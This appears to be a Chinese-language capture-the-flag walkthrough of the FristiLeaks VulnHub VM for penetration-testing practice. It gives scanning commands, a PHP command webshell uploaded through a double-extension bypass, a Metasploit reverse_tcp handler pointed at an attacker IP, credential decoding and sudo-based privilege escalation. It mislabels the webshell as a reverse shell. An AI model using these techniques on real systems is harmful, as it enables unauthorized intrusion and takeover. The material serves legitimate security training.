Vunlnhub之FristiLeaks靶场复现
字数 1047 2025-08-15 21:33:14
FristiLeaks靶场复现教学文档
靶机概述
FristiLeaks是一个基于Web应用漏洞和系统提权的渗透测试靶场,适合初学者练习信息收集、Web漏洞利用和Linux提权技术。
环境准备
-
靶机: FristiLeaks虚拟机
- 网络模式: NAT
- MAC地址: 08:00:27:A5:A6:76 (需手动更改)
-
攻击机:
- Kali Linux
- Windows 10
信息收集阶段
1. 发现靶机IP
使用以下工具扫描本地网络:
netdiscover -r
# 或
arp-scan -l
2. 端口扫描
使用nmap扫描开放端口:
nmap -sV <靶机IP>
发现开放80端口(HTTP服务)
3. Web目录爆破
使用dirb工具爆破网站目录:
dirb http://<靶机IP>
发现/fristi/目录
4. 分析登录页面
访问http://<靶机IP>/fristi/发现登录界面,通过查看页面源代码发现:
- 用户名提示:
eezeepz - Base64编码的图片数据
5. 解码Base64数据
将Base64数据解码为图片:
echo "Base64编码数据" | base64 -d > image.png
打开图片后发现密码信息
漏洞利用阶段
1. 登录系统
使用获得的凭据登录:
- 用户名:
eezeepz - 密码: 从图片中获得
2. 文件上传漏洞利用
- 创建PHP反向shell文件
shell.txt:
<?php system($_GET['cmd']); ?>
- 重命名为
shell.php.jpg绕过上传限制 - 上传文件
3. 建立反向连接
使用Metasploit设置监听:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <攻击机IP>
set LPORT <监听端口>
exploit
访问上传的shell文件触发连接
提权阶段
1. 初步权限提升
- 在
/home/eezeepz目录下发现notes.txt - 文件内容包含加密字符串和Python解密脚本
2. 解密凭据
修改提供的解密脚本:
import base64,codecs,sys
def decodeString(str):
rot13string = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(rot13string)
print decodeString(sys.argv[1])
解密获得的字符串:
python decrypt.py "RFn0AKnlMHMPIzpyuTI0ITG"
python decrypt.py "mVGZ3O3omkJLmy2pcuTq"
获得以下凭据:
admin~thisisalsopw123fristigod~LetThereBeFristi!
3. 最终提权
- 切换到
fristigod用户:
su fristigod
密码: LetThereBeFristi!
- 检查sudo权限:
sudo -l
- 发现可以以fristi用户身份执行特定脚本:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
- 通过该脚本获得root权限
4. 获取flag
在系统关键位置查找flag文件,通常位于:
/root/flag.txt
或
/home/fristigod/flag.txt
技术总结
- 信息收集: 网络扫描、目录爆破、源代码分析
- 加密分析: Base64解码、ROT13解码
- Web漏洞: 文件上传绕过
- 提权技术:
- 敏感信息泄露
- Sudo权限滥用
- 自定义脚本利用
安全建议
- 避免在客户端存储敏感信息
- 严格限制文件上传功能
- 最小化sudo权限分配
- 加密存储重要凭据
- 定期审计系统权限配置
通过本靶场练习,可以掌握从信息收集到系统提权的完整渗透测试流程。